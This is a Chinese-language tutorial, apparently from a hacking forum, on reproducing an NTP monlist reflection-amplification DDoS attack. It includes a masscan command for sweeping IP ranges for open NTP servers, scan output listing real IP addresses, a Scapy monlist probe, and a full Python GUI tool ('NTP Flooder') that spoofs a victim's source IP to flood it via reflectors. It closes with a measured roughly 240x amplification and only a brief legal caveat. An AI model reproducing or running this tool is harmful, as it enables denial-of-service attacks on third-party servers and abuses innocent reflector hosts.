敬告:
《中华人民共和国刑法》第二百八十六条【破坏计算机信息系统罪;网络服务渎职罪】违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。故意制作、传播计算机病毒等破坏性程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚。单位犯前三款罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照第一款的规定处罚。
一、DDos攻击方式的选择?
DDos攻击,通常指使用大量网络设备,向某个指定主机发送大量无用的数据包,阻塞其网络,使得正常的数据包无法稳定传输,而达到拒绝服务的一种攻击方式。
1. DDos的分类:
总体分类来看,DDOS可以分为三类:
- 直接攻击型(往往需要大量僵尸主机,与我们的目标-低成本DDOS背道而驰)
- 反射型(虽然不需要大量僵尸网络,也可以隐藏真实ip,但是却无法放大流量)
- 反射放大型(在反射的基础之上增加放大,威力加倍)
2. 放大型DDos的步骤:
以此来看呢,很明显,反射放大型DDOS是性价比最高的DDOS攻击。放大型DDos具体的原理非常简单,大致分为四个步骤:
- 攻击者将有欺骗性 IP 地址的 UDP 数据包发送到反射服务器。数据包上的欺骗性地址指向受害者的真实 IP 地址。
- 每个 UDP 数据包都向反射服务器发出请求,通常是基于某个协议,以接收尽可能最大的响应。
- 反射服务器收到请求后,会向欺骗性 IP 地址发送较大的响应。
目标的 IP 地址接收响应,其周边的网络基础设施被大量流量淹没,从而导致拒绝服务。达到四两拨千斤的攻击效果。
在反射放大型DDos的实际操作过程中,有许多协议都可以利用,其中较为著名的有DNS放大,SSDP放大,NTP放大等。放大倍率如下:
常见放大攻击
协议 | 端口 | 理论放大倍数 | DNS | 53 | 28~54 | NTP | 123 | 556.9 | SNMP | 161 | 6.3 | SSDP | 1900 | 30.8 | PОRTMAP | 111 | 7~28 | QOTD | 17 | 140.3 | CHARGEN | 19 | 358.8 | TFTP | 69 | 60 | NETBIOS | 138 | 3.8 | MEMCACHED | 11211 | 10000~50000 | WS_DISCOVERY | 3702 | 70~500 | CLDAP | 389 | 56~70 |
可见,其中放大倍率最高的攻击为MEMCACHED协议。然而,MEMCACHAED放大DDOS已经被几乎完全修复。
因此,本文中我将带领大家实现NTP型DDos(也是目前被黑客最广泛应用的DDos方式之一)。
二、NTP协议的漏洞?
首先,我们具体分析一下NTP协议:
NTP协议中,包含一个MONLIST功能,该功能的初衷是用于监控NTP服务器。客户端可以构建一个90字节的Mongetlist数据包发送给NTP服务器。然后服务器接收到monlist请求后,就会响应100个数据包,每个数据包482字节。
三、理论验证?
1. 收集反射源:
因此说,想要实现NTP型DDos,就必须收集反射服务器,也就是查找开放123端口的主机。扫描主机时,我们可以使用masscan高速互联网端口扫描软件。在Kail linux系统中输入以下命令就可以扫描。 - sudo masscan -pU:123 -oX ntp.xml --rate 160000 110.0.0.0-124.0.0.0
复制代码
这个命令的大致意思是:
- -Pu:123(使用UDP协议扫描端口123)
- -oX ntp.xml(输出文件,文件格式为xml,输出目标为ntp.xml)
- --rate 160000(扫描速度为每秒160000个数据包,带宽越大,这个数字就可以填写的越大)
- 110.0.0.0-124.0.0.0(扫描的ip网段,扫描全网时间太久)
- <?xml version="1.0"?>
- <!-- masscan v1.0 scan -->
- <nmaprun scanner="masscan" start="1729074937" version="1.0-BETA" xmloutputversion="1.03">
- <scaninfo type="syn" protocol="tcp" />
- <host endtime="1729074937"><address addr="111.87.65.18" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
- <host endtime="1729075703"><address addr="119.195.171.9" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
- <host endtime="1729076264"><address addr="121.247.27.190" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
- <host endtime="1729076270"><address addr="116.147.121.133" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
- <host endtime="1729078039"><address addr="113.111.104.235" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
- <host endtime="1729079781"><address addr="113.111.128.34" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
- ...
- <host endtime="1729080374"><address addr="119.172.95.233" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
- <host endtime="1729082019"><address addr="120.204.117.76" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
- <host endtime="1729083980"><address addr="123.119.8.68" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
- <host endtime="1729086213"><address addr="115.140.209.102" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
- <host endtime="1729086373"><address addr="114.252.232.105" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
- <host endtime="1729090630"><address addr="122.222.248.16" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
复制代码
2. 验证反射源:
接下来我们随便从中选择一个ip,用Python的Scapy发送一个MONGETLIST请求,看看会不会响应: - from scapy.all import *
- data = "\x17\x00\x03\x2a" + "\x00" * 44 # NTP monlist packet
- packet = IP(dst="103.97.200.65") / UDP(sport=22333, dport=123) / Raw(load=data)
- send(packet)
复制代码
这里我们首先构建一个data数据包,其中的数据就是一个monlist的请求。接下来我们可以使用Wireshark来监听我们自己的端口22333,来检查NTP服务器是否响应了我们的请求。
可见我们的主机发送了一个90字节的请求后,NTP服务器立马响应了100个数据包,每个数据包都是482个字节。
至此,我们的理论验证没有问题。
四、编写最终脚本
1. 测试用的脚本:
接下来我们完善一下发送数据包的脚本,增加一个UI面板,同时实现多线程同时发包。这样就能测试在反复发包时候的流量倍率了。 - import base64
- import tkinter as tk
- from collections import Counter
- from multiprocessing import Process, Value, freeze_support
- from tkinter import filedialog, messagebox, scrolledtext
- import threading
- import time
- from scapy.all import *
- from logo import *
- sending = Value('i', 0)
- def stop_filter(stop_event):
- return stop_event.is_set()
- def sniffer(collected_ips, all_packets, stop_event, adepter):
- # Sniffs incoming network traffic on UDP port 123
- sniff(filter="udp port 123", store=0, prn=lambda p: analyser(p, collected_ips, all_packets),
- iface="WLAN", stop_filter=lambda x: stop_filter(stop_event))
- def analyser(packet, collected_ips, all_packets):
- if len(packet) > 200 and packet.haslayer(IP):
- ip_src = packet.getlayer(IP).src
- all_packets.append(ip_src)
- if ip_src not in collected_ips:
- collected_ips.append(ip_src)
- def get_available_monlist_servers(monlist_path, scantimes=2, fliter_magnification='1', adepter="WLAN", scandelay=0.02):
- collected_ips = [] # List to store collected IPs
- all_packets = []
- stop_event = threading.Event() # Create a stop event
- # Start the sniffer thread
- sniffer_thread = threading.Thread(target=sniffer, args=(collected_ips, all_packets, stop_event, adepter))
- sniffer_thread.start()
- # Send packets to each address from the monlist file
- for i in range(scantimes):
- with open(monlist_path, 'r', encoding='utf-8') as logfile:
- for address in logfile:
- address = address.strip()
- send(IP(dst=address) / UDP(sport=123, dport=123) / Raw(load=b"\x10\x00\x03\x20" + b"\x00" * 44),
- verbose=0, iface=adepter)
- time.sleep(scandelay)
- time.sleep(5)
- # Set the stop event to signal the sniffer to stop
- stop_event.set()
- # send a packet to trigger the stop event
- send(IP(dst="127.0.0.1") / UDP(sport=123, dport=123) / Raw(load="shutdown"), iface=adepter, verbose=0)
- # Wait for the sniffer thread to finish
- sniffer_thread.join()
- count = Counter(all_packets)
- # 排序完成
- # 筛选出发包次数较多的反弹服务器
- if fliter_magnification == 'disable':
- sorted_count = list(dict(sorted(count.items(), key=lambda item: item[1], reverse=True)).keys())
- return sorted_count, sorted_count
- result = list(dict(
- sorted(((key, value) for key, value in count.items() if value > int(fliter_magnification) * scantimes),
- key=lambda item: item[1], reverse=True)).keys())
- return result, result # Return the collected IPs list
- def send_packets_(text, target_ip, target_port, sending, adepter):
- ntp_servers = text.split('\n')
- if target_port == 'random':
- while sending.value:
- mpacket = IP(src=target_ip, dst=ntp_servers) / UDP(sport=random.randint(1, 65535), dport=123) / Raw(
- load=b"\x10\x00\x03\x2a" + b"\x00" * 44)
- send(mpacket, verbose=0, iface=adepter)
- elif '-' in target_port:
- ports = target_port.split('-')
- print(ports)
- while sending.value:
- mpacket = IP(src=target_ip, dst=ntp_servers) / UDP(sport=random.randint(int(ports[0]), int(ports[1])),
- dport=123) / Raw(
- load=b"\x10\x00\x03\x2a" + b"\x00" * 44)
- send(mpacket, verbose=0, iface=adepter)
- else:
- mpacket = IP(src=target_ip, dst=ntp_servers) / UDP(sport=int(target_port), dport=123) / Raw(
- load=b"\x10\x00\x03\x2a" + b"\x00" * 44)
- while sending.value:
- send(mpacket, verbose=0, iface=adepter)
- class PacketSenderApp:
- def __init__(self, master):
- self.master = master
- self.master.title("NTP Flooder")
- # Variables
- self.scandelay = tk.DoubleVar(value=0.02)
- self.scantimes = tk.IntVar(value=2)
- self.adepter = tk.StringVar(value='WLAN')
- self.monlist_path = tk.StringVar()
- self.target_ip = tk.StringVar(value = get_if_addr('WLAN'))
- self.process_count = tk.IntVar(value=1)
- self.target_port = tk.StringVar(value='random')
- self.check_servers = tk.BooleanVar()
- self.magnification = tk.StringVar(value='disable')
- # UI Elements
- tk.Label(master, text="Monlist File:").grid(row=0, column=0)
- tk.Entry(master, textvariable=self.monlist_path).grid(row=0, column=1)
- tk.Button(master, text="Browse", command=self.browse_monlist).grid(row=0, column=2)
- tk.Label(master, text="Target IP:").grid(row=1, column=0)
- tk.Entry(master, textvariable=self.target_ip).grid(row=1, column=1)
- tk.Label(master, text="Target port:").grid(row=2, column=0)
- tk.Entry(master, textvariable=self.target_port).grid(row=2, column=1)
- tk.Label(master, text="Process Count:").grid(row=3, column=0)
- tk.Entry(master, textvariable=self.process_count).grid(row=3, column=1)
- self.start_button = tk.Button(master, text="Start Sending", command=self.start_stop_sending)
- self.start_button.grid(row=4, columnspan=3)
- self.check_button = tk.Button(master, text="Check Available Servers", command=self.check_available_servers)
- self.check_button.grid(row=5, columnspan=3)
- # 文本框:显示可用的 NTP 服务器
- self.server_text = scrolledtext.ScrolledText(master, width=40, height=10)
- self.server_text.grid(row=6, columnspan=3)
- tk.Label(master, text="Magnification filter:").grid(row=7, column=0)
- tk.Entry(master, textvariable=self.magnification).grid(row=7, column=1)
- tk.Label(master, text="Net Adepter").grid(row=8, column=0)
- tk.Entry(master, textvariable=self.adepter).grid(row=8, column=1)
- tk.Label(master, text="Scan times").grid(row=9, column=0)
- tk.Entry(master, textvariable=self.scantimes).grid(row=9, column=1)
- tk.Label(master, text="Scan Delay(s)").grid(row=10, column=0)
- tk.Entry(master, textvariable=self.scandelay).grid(row=10, column=1)
- self.is_sending = 0
- self.master.protocol("WM_DELETE_WINDOW", self.on_closing)
- def on_closing(self):
- if self.is_sending:
- if messagebox.askyesno("Confirm", "Packets are currently being sent. Do you really want to exit?"):
- self.is_sending = 0
- sending.value = 0
- self.master.destroy() # 关闭窗口
- else:
- self.master.destroy() # 直接关闭窗口
- def browse_monlist(self):
- file_path = filedialog.askopenfilename(filetypes=[("Text files", "*.txt")])
- self.monlist_path.set(file_path)
- if not os.path.exists(self.monlist_path.get()):
- return
- with open(file_path, 'r', encoding='utf-8') as f:
- self.server_text.delete(1.0, tk.END)
- self.server_text.insert(tk.END, f.read())
- def start_stop_sending(self):
- if not self.is_sending:
- process_count = self.process_count.get()
- self.is_sending = 1
- self.start_button.config(text="Stop Sending")
- text = self.server_text.get(1.0, tk.END)
- target_ip = self.target_ip.get()
- target_port = self.target_port.get()
- sending.value = 1
- for i in range(process_count):
- Process(target=send_packets_, args=(text, target_ip, target_port, sending, self.adepter.get())).start()
- else:
- self.is_sending = 0
- sending.value = 0
- self.start_button.config(text="Start Sending")
- def check_available_servers(self):
- monlist_path = self.monlist_path.get()
- _, servers = get_available_monlist_servers(monlist_path, fliter_magnification=self.magnification.get(),
- adepter=self.adepter.get(), scandelay=self.scandelay.get(),
- scantimes=self.scantimes.get()) # 假设这个函数返回可用的服务器列表
- self.server_text.delete(1.0, tk.END) # 清空文本框
- for server in servers:
- self.server_text.insert(tk.END, f"{server}\n") # 在文本框中添加可用服务器
- return servers
- if __name__ == "__main__":
- freeze_support()
- root = tk.Tk()
- icon = open("gui_icon.ico", "wb+")
- icon.write(base64.b64decode(img)) # 写入到临时文件中
- icon.close()
- root.iconbitmap("gui_icon.ico")
- os.remove("gui_icon.ico")
- app = PacketSenderApp(root)
- root.mainloop()
复制代码
直接运行代码
2. 脚本的使用方法:
这个脚本的使用方法非常简单:
- 在输入框中输入可用的反射源(NTP服务器),或者从txt文件中加载。
- 输入目标ip(这里我输入我自己的ip,这样就可以监控返回的流量)
- 输入目标端口(NTP端口123)
- 输入线程数,线程越多,威力越大,但是需要更强的网卡和CPU(我这里输入1,是因为我主要用于测试反射放大倍率)
- 点击“start sending”开始udp洪水
3. 测试DDos的流量:
我们接下来在任务管理器里监听一下网卡的流量:
可见发包流量在500Kbps时,返回的数据流量达到了120Mbps。做一个简单的除法就能得到其放大倍率是240倍。虽然没有达到理论的500倍放大,但依然是很强的流量了
依照这样计算,攻击者就算使用普通的家庭宽带服务,100兆的上传流量,就可以打出2400兆的攻击流量。对于一些国内的低带宽服务器,完全是碾压式的攻击。在把受害者所有的上行流量占满后,任何流量清洗或防火墙都是纸糊的装甲。
至此,我们复现NTP型DDos就算圆满完成了。但是这里还是要提醒大家,请勿攻击他人的设备或服务器,否则都将会受到法律的制裁。 |